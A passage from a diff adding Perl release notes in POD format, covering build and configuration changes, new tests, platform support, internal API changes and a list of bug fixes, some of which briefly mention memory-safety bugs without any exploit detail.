+SystemTap's dtrace emulation), copy the input objects to a separate
+directory and process them there, and use those objects in the link,
+since C<dtrace -G> also modifies these objects.
+
+=item *
+
+Add F<libelf> to the build on FreeBSD 10.x, since F<dtrace> adds
+references to F<libelf> symbols.
+
+=item *
+
+Generate a dummy F<dtrace_main.o> if C<dtrace -G> fails to build it.  A
+default build on Solaris generates probes from the unused inline
+functions, while they don't on FreeBSD, which causes C<dtrace -G> to
+fail.
+
+=back
+
+=item *
+
+You can now disable perl's use of the C<PERL_HASH_SEED> and
+C<PERL_PERTURB_KEYS> environment variables by configuring perl with
+C<-Accflags=NO_PERL_HASH_ENV>.
+
+=item *
+
+You can now disable perl's use of the C<PERL_HASH_SEED_DEBUG> environment
+variable by configuring perl with
+C<-Accflags=-DNO_PERL_HASH_SEED_DEBUG>.
+
+=item *
+
+F<Configure> now zeroes out the alignment bytes when calculating the bytes
+for 80-bit C<NaN> and C<Inf> to make builds more reproducible.
+L<[perl #130133]|https://rt.perl.org/Public/Bug/Display.html?id=130133>
+
+=item *
+
+Since v5.18, for testing purposes we have included support for
+building perl with a variety of non-standard, and non-recommended
+hash functions.  Since we do not recommend the use of these functions,
+we have removed them and their corresponding build options.  Specifically
+this includes the following build options:
+
+    PERL_HASH_FUNC_SDBM
+    PERL_HASH_FUNC_DJB2
+    PERL_HASH_FUNC_SUPERFAST
+    PERL_HASH_FUNC_MURMUR3
+    PERL_HASH_FUNC_ONE_AT_A_TIME
+    PERL_HASH_FUNC_ONE_AT_A_TIME_OLD
+    PERL_HASH_FUNC_MURMUR_HASH_64A
+    PERL_HASH_FUNC_MURMUR_HASH_64B
+
+=item *
+
+Remove "Warning: perl appears in your path"
+
+This install warning is more or less obsolete, since most platforms already
+B<will> have a F</usr/bin/perl> or similar provided by the OS.
+
+=item *
+
+Reduce verbosity of C<make install.man>
+
+Previously, two progress messages were emitted for each manpage: one by
+installman itself, and one by the function in F<install_lib.pl> that it calls to
+actually install the file.  Disabling the second of those in each case saves
+over 750 lines of unhelpful output.
+
+=item *
+
+Cleanup for C<clang -Weverything> support.
+L<[perl #129961]|https://rt.perl.org/Public/Bug/Display.html?id=129961>
+
+=item *
+
+F<Configure>: signbit scan was assuming too much, stop assuming negative 0.
+
+=item *
+
+Various compiler warnings have been silenced.
+
+=item *
+
+Several smaller changes have been made to remove impediments to compiling
+under C++11.
+
+=item *
+
+Builds using C<USE_PAD_RESET> now work again; this configuration had
+bit-rotted.
+
+=item *
+
+A probe for C<gai_strerror> was added to F<Configure> that checks if
+the C<gai_strerror()> routine is available and can be used to
+translate error codes returned by C<getaddrinfo()> into human
+readable strings.
+
+=item *
+
+F<Configure> now aborts if both C<-Duselongdouble> and C<-Dusequadmath> are
+requested.
+L<[perl #126203]|https://rt.perl.org/Public/Bug/Display.html?id=126203>
+
+=item *
+
+Fixed a bug in which F<Configure> could append C<-quadmath> to the
+archname even if it was already present.
+L<[perl #128538]|https://rt.perl.org/Public/Bug/Display.html?id=128538>
+
+=item *
+
+Clang builds with C<-DPERL_GLOBAL_STRUCT> or
+C<-DPERL_GLOBAL_STRUCT_PRIVATE> have
+been fixed (by disabling Thread Safety Analysis for these configurations).
+
+=item *
+
+F<make_ext.pl> no longer updates a module's F<pm_to_blib> file when no
+files require updates.  This could cause dependencies, F<perlmain.c>
+in particular, to be rebuilt unnecessarily.
+L<[perl #126710]|https://rt.perl.org/Public/Bug/Display.html?id=126710>
+
+=item *
+
+The output of C<perl -V> has been reformatted so that each configuration
+and compile-time option is now listed one per line, to improve
+readability.
+
+=item *
+
+F<Configure> now builds C<miniperl> and C<generate_uudmap> if you
+invoke it with C<-Dusecrosscompiler> but not C<-Dtargethost=somehost>.
+This means you can supply your target platform C<config.sh>, generate
+the headers and proceed to build your cross-target perl.
+L<[perl #127234]|https://rt.perl.org/Public/Bug/Display.html?id=127234>
+
+=item *
+
+Perl built with C<-Accflags=-DPERL_TRACE_OPS> now only dumps the operator
+counts when the environment variable C<PERL_TRACE_OPS> is set to a
+non-zero integer.  This allows C<make test> to pass on such a build.
+
+=item *
+
+When building with GCC 6 and link-time optimization (the C<-flto> option to
+C<gcc>), F<Configure> was treating all probed symbols as present on the
+system, regardless of whether they actually exist.  This has been fixed.
+L<[perl #128131]|https://rt.perl.org/Public/Bug/Display.html?id=128131>
+
+=item *
+
+The F<t/test.pl> library is used for internal testing of Perl itself, and
+also copied by several CPAN modules.  Some of those modules must work on
+older versions of Perl, so F<t/test.pl> must in turn avoid newer Perl
+features.  Compatibility with Perl 5.8 was inadvertently removed some time
+ago; it has now been restored.
+L<[perl #128052]|https://rt.perl.org/Public/Bug/Display.html?id=128052>
+
+=item *
+
+The build process no longer emits an extra blank line before building each
+"simple" extension (those with only F<*.pm> and F<*.pod> files).
+
+=back
+
+=head1 Testing
+
+Tests were added and changed to reflect the other additions and changes
+in this release.  Furthermore, these substantive changes were made:
+
+=over 4
+
+=item *
+
+A new test script, F<comp/parser_run.t>, has been added that is like
+F<comp/parser.t> but with F<test.pl> included so that C<runperl()> and the
+like are available for use.
+
+=item *
+
+Tests for locales were erroneously using locales incompatible with Perl.
+
+=item *
+
+Some parts of the test suite that try to exhaustively test edge cases in the
+regex implementation have been restricted to running for a maximum of five
+minutes.  On slow systems they could otherwise take several hours, without
+significantly improving our understanding of the correctness of the code
+under test.
+
+=item *
+
+A new internal facility allows analysing the time taken by the individual
+tests in Perl's own test suite; see F<Porting/harness-timer-report.pl>.
+
+=item *
+
+F<t/re/regexp_nonull.t> has been added to test that the regular expression
+engine can handle scalars that do not have a null byte just past the end of
+the string.
+
+=item *
+
+A new test script, F<t/op/decl-refs.t>, has been added to test the new feature
+L</Declaring a reference to a variable>.
+
+=item *
+
+A new test script, F<t/re/keep_tabs.t> has been added to contain tests
+where C<\t> characters should not be expanded into spaces.
+
+=item *
+
+A new test script, F<t/re/anyof.t>, has been added to test that the ANYOF nodes
+generated by bracketed character classes are as expected.
+
+=item *
+
+There is now more extensive testing of the Unicode-related API macros
+and functions.
+
+=item *
+
+Several of the longer running API test files have been split into
+multiple test files so that they can be run in parallel.
+
+=item *
+
+F<t/harness> now tries really hard not to run tests which are located
+outside of the Perl source tree.
+L<[perl #124050]|https://rt.perl.org/Public/Bug/Display.html?id=124050>
+
+=item *
+
+Prevent debugger tests (F<lib/perl5db.t>) from failing due to the contents
+of C<$ENV{PERLDB_OPTS}>.
+L<[perl #130445]|https://rt.perl.org/Public/Bug/Display.html?id=130445>
+
+=back
+
+=head1 Platform Support
+
+=head2 New Platforms
+
+=over 4
+
+=item NetBSD/VAX
+
+Perl now compiles under NetBSD on VAX machines.  However, it's not
+possible for that platform to implement floating-point infinities and
+NaNs compatible with most modern systems, which implement the IEEE-754
+floating point standard.  The hexadecimal floating point (C<0x...p[+-]n>
+literals, C<printf %a>) is not implemented, either.
+The C<make test> passes 98% of tests.
+
+=over 4
+
+=item *
+
+Test fixes and minor updates.
+
+=item *
+
+Account for lack of C<inf>, C<nan>, and C<-0.0> support.
+
+=back
+
+=back
+
+=head2 Platform-Specific Notes
+
+=over 4
+
+=item Darwin
+
+=over 4
+
+=item *
+
+Don't treat C<-Dprefix=/usr> as special: instead require an extra option
+C<-Ddarwin_distribution> to produce the same results.
+
+=item *
+
+OS X El Capitan doesn't implement the C<clock_gettime()> or
+C<clock_getres()> APIs; emulate them as necessary.
+
+=item *
+
+Deprecated C<syscall(2)> on macOS 10.12.
+
+=back
+
+=item EBCDIC
+
+Several tests have been updated to work (or be skipped) on EBCDIC platforms.
+
+=item HP-UX
+
+The L<Net::Ping> UDP test is now skipped on HP-UX.
+
+=item Hurd
+
+The hints for Hurd have been improved, enabling malloc wrap and reporting the
+GNU libc used (previously it was an empty string when reported).
+
+=item VAX
+
+VAX floating point formats are now supported on NetBSD.
+
+=item VMS
+
+=over 4
+
+=item *
+
+The path separator for the C<PERL5LIB> and C<PERLLIB> environment entries is
+now a colon (C<":">) when running under a Unix shell.  There is no change when
+running under DCL (it's still C<"|">).
+
+=item *
+
+F<configure.com> now recognizes the VSI-branded C compiler and no longer
+recognizes the "DEC"-branded C compiler (as there hasn't been such a thing for
+15 or more years).
+
+=back
+
+=item Windows
+
+=over 4
+
+=item *
+
+Support for compiling perl on Windows using Microsoft Visual Studio 2015
+(containing Visual C++ 14.0) has been added.
+
+This version of VC++ includes a completely rewritten C run-time library, some
+of the changes in which mean that work done to resolve a socket
+C<close()> bug in
+perl #120091 and perl #118059 is not workable in its current state with this
+version of VC++.  Therefore, we have effectively reverted that bug fix for
+VS2015 onwards on the basis that being able to build with VS2015 onwards is
+more important than keeping the bug fix.  We may revisit this in the future to
+attempt to fix the bug again in a way that is compatible with VS2015.
+
+These changes do not affect compilation with GCC or with Visual Studio versions
+up to and including VS2013, I<i.e.>, the bug fix is retained (unchanged) for those
+compilers.
+
+Note that you may experience compatibility problems if you mix a perl built
+with GCC or VS E<lt>= VS2013 with XS modules built with VS2015, or if you mix a
+perl built with VS2015 with XS modules built with GCC or VS E<lt>= VS2013.
+Some incompatibility may arise because of the bug fix that has been reverted
+for VS2015 builds of perl, but there may well be incompatibility anyway because
+of the rewritten CRT in VS2015 (I<e.g.>, see discussion at
+L<http://stackoverflow.com/questions/30412951>).
+
+=item *
+
+It now automatically detects GCC versus Visual C and sets the VC version
+number on Win32.
+
+=back
+
+=item Linux
+
+Drop support for Linux F<a.out> executable format. Linux has used ELF for
+over twenty years.
+
+=item OpenBSD 6
+
+OpenBSD 6 still does not support returning C<pid>, C<gid>, or C<uid> with
+C<SA_SIGINFO>.  Make sure to account for it.
+
+=item FreeBSD
+
+F<t/uni/overload.t>: Skip hanging test on FreeBSD.
+
+=item DragonFly BSD
+
+DragonFly BSD now has support for C<setproctitle()>.
+L<[perl #130068]|https://rt.perl.org/Public/Bug/Display.html?id=130068>.
+
+=back
+
+=head1 Internal Changes
+
+=over 4
+
+=item *
+
+A new API function L<C<sv_setpv_bufsize()>|perlapi/sv_setpv_bufsize>
+allows simultaneously setting the
+length and the allocated size of the buffer in an C<SV>, growing the
+buffer if necessary.
+
+=item *
+
+A new API macro L<C<SvPVCLEAR()>|perlapi/SvPVCLEAR> sets its C<SV>
+argument to an empty string,
+like Perl-space C<$x = ''>, but with several optimisations.
+
+=item *
+
+Several new macros and functions for dealing with Unicode and
+UTF-8-encoded strings have been added to the API, as well as some
+changes in the
+functionality of existing functions (see L<perlapi/Unicode Support> for
+more details):
+
+=over
+
+=item *
+
+New versions of the API macros like C<isALPHA_utf8> and C<toLOWER_utf8>
+have been added, each with the suffix C<_safe>, like
+L<C<isSPACE_utf8_safe>|perlapi/isSPACE>.  These take an extra
+parameter, giving an upper
+limit of how far into the string it is safe to read.  Using the old
+versions could cause attempts to read beyond the end of the input buffer
+if the UTF-8 is not well-formed, and their use now raises a deprecation
+warning.  Details are at L<perlapi/Character classification>.
+
+=item *
+
+Macros like L<C<isALPHA_utf8>|perlapi/isALPHA> and
+L<C<toLOWER_utf8>|perlapi/toLOWER_utf8> now die if they detect
+that their input UTF-8 is malformed.  A deprecation warning had been
+issued since Perl 5.18.
+
+=item *
+
+Several new macros for analysing the validity of utf8 sequences. These
+are:
+
+L<C<UTF8_GOT_ABOVE_31_BIT>|perlapi/UTF8_GOT_ABOVE_31_BIT>
+L<C<UTF8_GOT_CONTINUATION>|perlapi/UTF8_GOT_CONTINUATION>
+L<C<UTF8_GOT_EMPTY>|perlapi/UTF8_GOT_EMPTY>
+L<C<UTF8_GOT_LONG>|perlapi/UTF8_GOT_LONG>
+L<C<UTF8_GOT_NONCHAR>|perlapi/UTF8_GOT_NONCHAR>
+L<C<UTF8_GOT_NON_CONTINUATION>|perlapi/UTF8_GOT_NON_CONTINUATION>
+L<C<UTF8_GOT_OVERFLOW>|perlapi/UTF8_GOT_OVERFLOW>
+L<C<UTF8_GOT_SHORT>|perlapi/UTF8_GOT_SHORT>
+L<C<UTF8_GOT_SUPER>|perlapi/UTF8_GOT_SUPER>
+L<C<UTF8_GOT_SURROGATE>|perlapi/UTF8_GOT_SURROGATE>
+L<C<UTF8_IS_INVARIANT>|perlapi/UTF8_IS_INVARIANT>
+L<C<UTF8_IS_NONCHAR>|perlapi/UTF8_IS_NONCHAR>
+L<C<UTF8_IS_SUPER>|perlapi/UTF8_IS_SUPER>
+L<C<UTF8_IS_SURROGATE>|perlapi/UTF8_IS_SURROGATE>
+L<C<UVCHR_IS_INVARIANT>|perlapi/UVCHR_IS_INVARIANT>
+L<C<isUTF8_CHAR_flags>|perlapi/isUTF8_CHAR_flags>
+L<C<isSTRICT_UTF8_CHAR>|perlapi/isSTRICT_UTF8_CHAR>
+L<C<isC9_STRICT_UTF8_CHAR>|perlapi/isC9_STRICT_UTF8_CHAR>
+
+=item *
+
+Functions that are all extensions of the C<is_utf8_string_I<*>()> functions,
+that apply various restrictions to the UTF-8 recognized as valid:
+
+L<C<is_strict_utf8_string>|perlapi/is_strict_utf8_string>,
+L<C<is_strict_utf8_string_loc>|perlapi/is_strict_utf8_string_loc>,
+L<C<is_strict_utf8_string_loclen>|perlapi/is_strict_utf8_string_loclen>,
+
+L<C<is_c9strict_utf8_string>|perlapi/is_c9strict_utf8_string>,
+L<C<is_c9strict_utf8_string_loc>|perlapi/is_c9strict_utf8_string_loc>,
+L<C<is_c9strict_utf8_string_loclen>|perlapi/is_c9strict_utf8_string_loclen>,
+
+L<C<is_utf8_string_flags>|perlapi/is_utf8_string_flags>,
+L<C<is_utf8_string_loc_flags>|perlapi/is_utf8_string_loc_flags>,
+L<C<is_utf8_string_loclen_flags>|perlapi/is_utf8_string_loclen_flags>,
+
+L<C<is_utf8_fixed_width_buf_flags>|perlapi/is_utf8_fixed_width_buf_flags>,
+L<C<is_utf8_fixed_width_buf_loc_flags>|perlapi/is_utf8_fixed_width_buf_loc_flags>,
+L<C<is_utf8_fixed_width_buf_loclen_flags>|perlapi/is_utf8_fixed_width_buf_loclen_flags>.
+
+L<C<is_utf8_invariant_string>|perlapi/is_utf8_invariant_string>.
+L<C<is_utf8_valid_partial_char>|perlapi/is_utf8_valid_partial_char>.
+L<C<is_utf8_valid_partial_char_flags>|perlapi/is_utf8_valid_partial_char_flags>.
+
+=item *
+
+The functions L<C<utf8n_to_uvchr>|perlapi/utf8n_to_uvchr> and its
+derivatives have had several changes of behaviour.
+
+Calling them, while passing a string length of 0 is now asserted against
+in DEBUGGING builds, and otherwise, returns the Unicode REPLACEMENT
+CHARACTER.   If you have nothing to decode, you shouldn't call the decode
+function.
+
+They now return the Unicode REPLACEMENT CHARACTER if called with UTF-8
+that has the overlong malformation and that malformation is allowed by
+the input parameters.  This malformation is where the UTF-8 looks valid
+syntactically, but there is a shorter sequence that yields the same code
+point.  This has been forbidden since Unicode version 3.1.
+
+They now accept an input
+flag to allow the overflow malformation.  This malformation is when the
+UTF-8 may be syntactically valid, but the code point it represents is
+not capable of being represented in the word length on the platform.
+What "allowed" means, in this case, is that the function doesn't return an
+error, and it advances the parse pointer to beyond the UTF-8 in
+question, but it returns the Unicode REPLACEMENT CHARACTER as the value
+of the code point (since the real value is not representable).
+
+They no longer abandon searching for other malformations when the first
+one is encountered.  A call to one of these functions thus can generate
+multiple diagnostics, instead of just one.
+
+=item *
+
+L<C<valid_utf8_to_uvchr()>|perlapi/valid_utf8_to_uvchr> has been added
+to the API (although it was
+present in core earlier). Like C<utf8_to_uvchr_buf()>, but assumes that
+the next character is well-formed.  Use with caution.
+
+=item *
+
+A new function, L<C<utf8n_to_uvchr_error>|perlapi/utf8n_to_uvchr_error>,
+has been added for
+use by modules that need to know the details of UTF-8 malformations
+beyond pass/fail.  Previously, the only ways to know why a sequence was
+ill-formed was to capture and parse the generated diagnostics or to do
+your own analysis.
+
+=item *
+
+There is now a safer version of utf8_hop(), called
+L<C<utf8_hop_safe()>|perlapi/utf8_hop_safe>.
+Unlike utf8_hop(), utf8_hop_safe() won't navigate before the beginning or
+after the end of the supplied buffer.
+
+=item *
+
+Two new functions, L<C<utf8_hop_forward()>|perlapi/utf8_hop_forward> and
+L<C<utf8_hop_back()>|perlapi/utf8_hop_back> are
+similar to C<utf8_hop_safe()> but are for when you know which direction
+you wish to travel.
+
+=item *
+
+Two new macros which return useful utf8 byte sequences:
+
+L<C<BOM_UTF8>|perlapi/BOM_UTF8>
+
+L<C<REPLACEMENT_CHARACTER_UTF8>|perlapi/REPLACEMENT_CHARACTER_UTF8>
+
+=back
+
+=item *
+
+Perl is now built with the C<PERL_OP_PARENT> compiler define enabled by
+default.  To disable it, use the C<PERL_NO_OP_PARENT> compiler define.
+This flag alters how the C<op_sibling> field is used in C<OP> structures,
+and has been available optionally since perl 5.22.
+
+See L<perl5220delta/"Internal Changes"> for more details of what this
+build option does.
+
+=item *
+
+Three new ops, C<OP_ARGELEM>, C<OP_ARGDEFELEM>, and C<OP_ARGCHECK> have
+been added.  These are intended principally to implement the individual
+elements of a subroutine signature, plus any overall checking required.
+
+=item *
+
+The C<OP_PUSHRE> op has been eliminated and the C<OP_SPLIT> op has been
+changed from class C<LISTOP> to C<PMOP>.
+
+Formerly the first child of a split would be a C<pushre>, which would have the
+C<split>'s regex attached to it. Now the regex is attached directly to the
+C<split> op, and the C<pushre> has been eliminated.
+
+=item *
+
+The L<C<op_class()>|perlapi/op_class> API function has been added.  This
+is like the existing
+C<OP_CLASS()> macro, but can more accurately determine what struct an op
+has been allocated as.  For example C<OP_CLASS()> might return
+C<OA_BASEOP_OR_UNOP> indicating that ops of this type are usually
+allocated as an C<OP> or C<UNOP>; while C<op_class()> will return
+C<OPclass_BASEOP> or C<OPclass_UNOP> as appropriate.
+
+=item *
+
+All parts of the internals now agree that the C<sassign> op is a C<BINOP>;
+previously it was listed as a C<BASEOP> in F<regen/opcodes>, which meant
+that several parts of the internals had to be special-cased to accommodate
+it.  This oddity's original motivation was to handle code like C<$x ||= 1>;
+that is now handled in a simpler way.
+
+=item *
+
+The output format of the L<C<op_dump()>|perlapi/op_dump> function (as
+used by C<perl -Dx>)
+has changed: it now displays an "ASCII-art" tree structure, and shows more
+low-level details about each op, such as its address and class.
+
+=item *
+
+The C<PADOFFSET> type has changed from being unsigned to signed, and
+several pad-related variables such as C<PL_padix> have changed from being
+of type C<I32> to type C<PADOFFSET>.
+
+=item *
+
+The C<DEBUGGING>-mode output for regex compilation and execution has been
+enhanced.
+
+=item *
+
+Several obscure SV flags have been eliminated, sometimes along with the
+macros which manipulate them: C<SVpbm_VALID>, C<SVpbm_TAIL>, C<SvTAIL_on>,
+C<SvTAIL_off>, C<SVrepl_EVAL>, C<SvEVALED>.
+
+=item *
+
+An OP C<op_private> flag has been eliminated: C<OPpRUNTIME>. This used to
+often get set on C<PMOP> ops, but had become meaningless over time.
+
+=back
+
+=head1 Selected Bug Fixes
+
+=over 4
+
+=item *
+
+Perl no longer panics when switching into some locales on machines with
+buggy C<strxfrm()> implementations in their F<libc>.
+L<[perl #121734]|https://rt.perl.org/Public/Bug/Display.html?id=121734>
+
+=item *
+
+C< $-{$name} > would leak an C<AV> on each access if the regular
+expression had no named captures.  The same applies to access to any
+hash tied with L<Tie::Hash::NamedCapture> and C<< all =E<gt> 1 >>.
+L<[perl #130822]|https://rt.perl.org/Public/Bug/Display.html?id=130822>
+
+=item *
+
+Attempting to use the deprecated variable C<$#> as the object in an
+indirect object method call could cause a heap use after free or
+buffer overflow.
+L<[perl #129274]|https://rt.perl.org/Public/Bug/Display.html?id=129274>
+
+=item *
+
+When checking for an indirect object method call, in some rare cases
+the parser could reallocate the line buffer but then continue to use
+pointers to the old buffer.
+L<[perl #129190]|https://rt.perl.org/Public/Bug/Display.html?id=129190>
+
+=item *
+
+Supplying a glob as the format argument to
+L<C<formline>|perlfunc/formline> would
+cause an assertion failure.
+L<[perl #130722]|https://rt.perl.org/Public/Bug/Display.html?id=130722>
+
+=item *
+
+Code like C< $value1 =~ qr/.../ ~~ $value2 > would have the match
+converted into a C<qr//> operator, leaving extra elements on the stack to
+confuse any surrounding expression.
+L<[perl #130705]|https://rt.perl.org/Public/Bug/Display.html?id=130705>
+
+=item *
+
+Since v5.24 in some obscure cases, a regex which included code blocks
+from multiple sources (I<e.g.>, via embedded via C<qr//> objects) could end up
+with the wrong current pad and crash or give weird results.
+L<[perl #129881]|https://rt.perl.org/Public/Bug/Display.html?id=129881>
+
+=item *
+
+Occasionally C<local()>s in a code block within a patterns weren't being
+undone when the pattern matching backtracked over the code block.
+L<[perl #126697]|https://rt.perl.org/Public/Bug/Display.html?id=126697>
+
+=item *
+
+Using C<substr()> to modify a magic variable could access freed memory
+in some cases.
+L<[perl #129340]|https://rt.perl.org/Public/Bug/Display.html?id=129340>
+
+=item *
+
+Under C<use utf8>, the entire source code is now checked for being UTF-8
+well formed, not just quoted strings as before.
+L<[perl #126310]|https://rt.perl.org/Public/Bug/Display.html?id=126310>.
+
+=item *
+
+The range operator C<".."> on strings now handles its arguments correctly when in
+the scope of the L<< C<unicode_strings>|feature/"The 'unicode_strings' feature" >>
+feature.  The previous behaviour was sufficiently unexpected that we believe no
+correct program could have made use of it.
+
+=item *
+
+The C<split> operator did not ensure enough space was allocated for
+its return value in scalar context.  It could then write a single
+pointer immediately beyond the end of the memory block allocated for
+the stack.
+L<[perl #130262]|https://rt.perl.org/Public/Bug/Display.html?id=130262>
+
+=item *
+
+Using a large code point with the C<"W"> pack template character with
+the current output position aligned at just the right point could
+cause a write of a single zero byte immediately beyond the end of an
+allocated buffer.
+L<[perl #129149]|https://rt.perl.org/Public/Bug/Display.html?id=129149>
+
+=item *
+
+Supplying a format's picture argument as part of the format argument list
+where the picture specifies modifying the argument could cause an
+access to the new freed compiled form.at.
+L<[perl #129125]|https://rt.perl.org/Public/Bug/Display.html?id=129125>
+
+=item *
+
+The L<sort()|perlfunc/sort> operator's built-in numeric comparison
+function didn't handle large integers that weren't exactly
+representable by a double.  This now uses the same code used to
+implement the C<< E<lt>=E<gt> >> operator.
+L<[perl #130335]|https://rt.perl.org/Public/Bug/Display.html?id=130335>
+
+=item *
+
+Fix issues with C</(?{ ... E<lt>E<lt>EOF })/> that broke
+L<Method::Signatures>.
+L<[perl #130398]|https://rt.perl.org/Public/Bug/Display.html?id=130398>
+
+=item *
+
+Fixed an assertion failure with C<chop> and C<chomp>, which
+could be triggered by C<chop(@x =~ tr/1/1/)>.
+L<[perl #130198]|https://rt.perl.org/Public/Bug/Display.html?id=130198>.
+
+=item *
+
+Fixed a comment skipping error in patterns under C</x>; it could stop
+skipping a byte early, which could be in the middle of a UTF-8
+character.
+L<[perl #130495]|https://rt.perl.org/Public/Bug/Display.html?id=130495>.
+
+=item *
+
+F<perldb> now ignores F</dev/tty> on non-Unix systems.
+L<[perl #113960]|https://rt.perl.org/Public/Bug/Display.html?id=113960>;
+
+=item *
+
+Fix assertion failure for C<{}-E<gt>$x> when C<$x> isn't defined.
+L<[perl #130496]|https://rt.perl.org/Public/Bug/Display.html?id=130496>.
+
+=item *
+
+Fix an assertion error which could be triggered when a lookahead string
+in patterns exceeded a minimum length.
+L<[perl #130522]|https://rt.perl.org/Public/Bug/Display.html?id=130522>.
+
+=item *
+
+Only warn once per literal number about a misplaced C<"_">.
+L<[perl #70878]|https://rt.perl.org/Public/Bug/Display.html?id=70878>.
+
+=item *
+
+The C<tr///> parse code could be looking at uninitialized data after a
+perse error.
+L<[perl #129342]|https://rt.perl.org/Public/Bug/Display.html?id=129342>.
+
+=item *
+
+In a pattern match, a back-reference (C<\1>) to an unmatched capture could
+read back beyond the start of the string being matched.
+L<[perl #129377]|https://rt.perl.org/Public/Bug/Display.html?id=129377>.
+
+=item *
+
+C<use re 'strict'> is supposed to warn if you use a range (such as
+C</(?[ [ X-Y ] ])/>) whose start and end digit aren't from the same group
+of 10.  It didn't do that for five groups of mathematical digits starting
+at C<U+1D7E>.
+
+=item *
+
+A sub containing a "forward" declaration with the same name (I<e.g.>,
+C<sub c { sub c; }>) could sometimes crash or loop infinitely.
+L<[perl #129090]|https://rt.perl.org/Public/Bug/Display.html?id=129090>
+
+=item *
+
+A crash in executing a regex with a non-anchored UTF-8 substring against a
+target string that also used UTF-8 has been fixed.
+L<[perl #129350]|https://rt.perl.org/Public/Bug/Display.html?id=129350>
+
+=item *
+
+Previously, a shebang line like C<#!perl -i u> could be erroneously
+interpreted as requesting the C<-u> option.  This has been fixed.
+L<[perl #129336]|https://rt.perl.org/Public/Bug/Display.html?id=129336>
+
+=item *
+
+The regex engine was previously producing incorrect results in some rare
+situations when backtracking past an alternation that matches only one
+thing; this
+showed up as capture buffers (C<$1>, C<$2>, I<etc.>) erroneously containing data
+from regex execution paths that weren't actually executed for the final
+match.
+L<[perl #129897]|https://rt.perl.org/Public/Bug/Display.html?id=129897>
+
+=item *
+
+Certain regexes making use of the experimental C<regex_sets> feature could
+trigger an assertion failure.  This has been fixed.
+L<[perl #129322]|https://rt.perl.org/Public/Bug/Display.html?id=129322>
+
+=item *
+
+Invalid assignments to a reference constructor (I<e.g.>, C<\eval=time>) could
+sometimes crash in addition to giving a syntax error.
+L<[perl #125679]|https://rt.perl.org/Public/Bug/Display.html?id=125679>
+
+=item *
+
+The parser could sometimes crash if a bareword came after C<evalbytes>.
+L<[perl #129196]|https://rt.perl.org/Public/Bug/Display.html?id=129196>
+
+=item *
+
+Autoloading via a method call would warn erroneously ("Use of inherited
+AUTOLOAD for non-method") if there was a stub present in the package into
+which the invocant had been blessed.  The warning is no longer emitted in
+such circumstances.
+L<[perl #47047]|https://rt.perl.org/Public/Bug/Display.html?id=47047>
+
+=item *
+
+The use of C<splice> on arrays with non-existent elements could cause other
+operators to crash.
+L<[perl #129164]|https://rt.perl.org/Public/Bug/Display.html?id=129164>
+
+=item *
+
+A possible buffer overrun when a pattern contains a fixed utf8 substring.
+L<[perl #129012]|https://rt.perl.org/Public/Bug/Display.html?id=129012>
+
+=item *
+
+Fixed two possible use-after-free bugs in perl's lexer.
+L<[perl #129069]|https://rt.perl.org/Public/Bug/Display.html?id=129069>
+
+=item *
+
+Fixed a crash with C<s///l> where it thought it was dealing with UTF-8
+when it wasn't.
+L<[perl #129038]|https://rt.perl.org/Public/Bug/Display.html?id=129038>
+
+=item *
+
+Fixed a place where the regex parser was not setting the syntax error
+correctly on a syntactically incorrect pattern.
+L<[perl #129122]|https://rt.perl.org/Public/Bug/Display.html?id=129122>
+
+=item *
+
+The C<&.> operator (and the C<"&"> operator, when it treats its arguments as
+strings) were failing to append a trailing null byte if at least one string
+was marked as utf8 internally.  Many code paths (system calls, regexp
+compilation) still expect there to be a null byte in the string buffer
+just past the end of the logical string.  An assertion failure was the
+result.
+L<[perl #129287]|https://rt.perl.org/Public/Bug/Display.html?id=129287>
+
+=item *
+
+Avoid a heap-after-use error in the parser when creating an error messge
+for a syntactically invalid heredoc.
+L<[perl #128988]|https://rt.perl.org/Public/Bug/Display.html?id=128988>
+
+=item *
+
+Fix a segfault when run with C<-DC> options on DEBUGGING builds.
+L<[perl #129106]|https://rt.perl.org/Public/Bug/Display.html?id=129106>
+
+=item *
+
+Fixed the parser error handling in subroutine attributes for an
+'C<:attr(foo>' that does not have an ending 'C<")">'.
+
+=item *
+
+Fix the perl lexer to correctly handle a backslash as the last char in
+quoted-string context. This actually fixed two bugs,
+L<[perl #129064]|https://rt.perl.org/Public/Bug/Display.html?id=129064> and
+L<[perl #129176]|https://rt.perl.org/Public/Bug/Display.html?id=129176>.
+
+=item *
+
+In the API function C<gv_fetchmethod_pvn_flags>, rework separator parsing
+to prevent possible string overrun with an invalid C<len> argument.
+L<[perl #129267]|https://rt.perl.org/Public/Bug/Display.html?id=129267>
+
+=item *
+
+Problems with in-place array sorts: code like C<@a = sort { ... } @a>,
+where the source and destination of the sort are the same plain array, are
+optimised to do less copying around.  Two side-effects of this optimisation
+were that the contents of C<@a> as seen by sort routines were
+partially sorted; and under some circumstances accessing C<@a> during the
+sort could crash the interpreter.  Both these issues have been fixed, and
+Sort functions see the original value of C<@a>.
+L<[perl #128340]|https://rt.perl.org/Public/Bug/Display.html?id=128340>
+
+=item *
+
+Non-ASCII string delimiters are now reported correctly in error messages
+for unterminated strings.
+L<[perl #128701]|https://rt.perl.org/Public/Bug/Display.html?id=128701>
+
+=item *
+
+C<pack("p", ...)> used to emit its warning ("Attempt to pack pointer to
+temporary value") erroneously in some cases, but has been fixed.
+
+=item *
+
+C<@DB::args> is now exempt from "used once" warnings.  The warnings only
+occurred under B<-w>, because F<warnings.pm> itself uses C<@DB::args>
+multiple times.
+
+=item *
+
+The use of built-in arrays or hash slices in a double-quoted string no
+longer issues a warning ("Possible unintended interpolation...") if the
+variable has not been mentioned before.  This affected code like
+C<qq|@DB::args|> and C<qq|@SIG{'CHLD', 'HUP'}|>.  (The special variables
+C<@-> and C<@+> were already exempt from the warning.)
+
+=item *
+
+C<gethostent> and similar functions now perform a null check internally, to
+avoid crashing with the torsocks library.  This was a regression from v5.22.
+L<[perl #128740]|https://rt.perl.org/Public/Bug/Display.html?id=128740>
+
+=item *
+
+C<defined *{'!'}>, C<defined *{'['}>, and C<defined *{'-'}> no longer leak
+memory if the typeglob in question has never been accessed before.
+
+=item *
+
+Mentioning the same constant twice in a row (which is a syntax error) no
+longer fails an assertion under debugging builds.  This was a regression
+from v5.20.
+L<[perl #126482]|https://rt.perl.org/Public/Bug/Display.html?id=126482>
+
+=item *
+
+Many issues relating to C<printf "%a"> of hexadecimal floating point
+were fixed.  In addition, the "subnormals" (formerly known as "denormals")
+floating point numbers are now supported both with the plain IEEE 754
+floating point numbers (64-bit or 128-bit) and the x86 80-bit
+"extended precision".  Note that subnormal hexadecimal floating
+point literals will give a warning about "exponent underflow".
